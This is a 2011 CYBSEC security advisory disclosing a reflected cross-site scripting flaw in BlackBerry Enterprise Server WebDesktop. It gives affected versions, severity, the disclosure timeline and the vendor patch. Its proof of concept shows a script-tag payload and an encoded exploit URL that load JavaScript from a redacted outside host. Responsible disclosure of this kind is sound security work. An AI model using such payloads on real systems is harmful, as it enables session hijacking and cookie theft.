CYBSEC Advisory 2011 0401 Cross-Site Scripting (XSS) in Blackberry WebDesktop

["CYBSEC Labs" <cybseclabs () cybsec com>]

Advisory Name: Cross-Site Scripting (XSS) in Blackberry WebDesktop

Internal Cybsec Advisory Id: 2011-0401

Vulnerability Class: Cross-Site Scripting (XSS)

Release Date: 12/04/2011

Affected Applications: 
. BlackBerry Enterprise Server Express versions 5.0.1 and 5.0.2 for Microsoft Exchange
. BlackBerry Enterprise Server Express version 5.0.2 for IBM Lotus Domino
. BlackBerry Enterprise Server versions 5.0.0 through 5.0.3 for Microsoft Exchange and IBM Lotus Domino
. BlackBerry Enterprise Server version 5.0.1 for Novell GroupWise

Affected Platforms: Blackberry Enterprise Server

Local / Remote: Remote 

Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:P/I:N/A:N)

Researcher: Ivan Huertas 

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A Cross Site Scripting vulnerability was found in Blackberry WebDektop, because the application fails to sanitize 
user-supplied input. The vulnerability can be triggered if a logged user follows a specially crafted link, executing 
malicious Javascript code on the user's browser.

Proof of Concept: 

Inserting <SCRIPT SRC=http://xxx.xxx.x.xx/CYB.JS/> in the parameter displayErrorMessage would execute the code included 
in the javascript file CYB.JS.

https://xxx.xxx.x.xxx:3443/webdesktop/app?page=pages/advanced/ManageDevices&service=page&displayErrorMessage=%3CSCRIPT%20SRC%3d%22http%3a%2f%2fxxx.xxx.xxx.xx%2fCYB.JS%22%2f%3E

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may 
obtain authorization cookies that would allow him to gain unauthorized access to the application.

Solution:

Install the latest release with the instructions included in http://blackberry.com/btsc/KB26296

Vendor Response:

2011-22-02 - Vulnerability was identified
2011-23-02 - Vendor contacted
2011-20-03 - Vendor confirmed vulnerability
2011-12-04 - Vendor released fixed version
2011-12-04 - Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at 
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems 

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their 
area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or 
hardware provider companies. 

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, 
maintaining their IT deployments available, safe, and reliable. 

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing 
with the security community with high quality information exchange. 

For more information, please visit www.cybsec.com 
(c) 2011 - CYBSEC S.A. Security Systems

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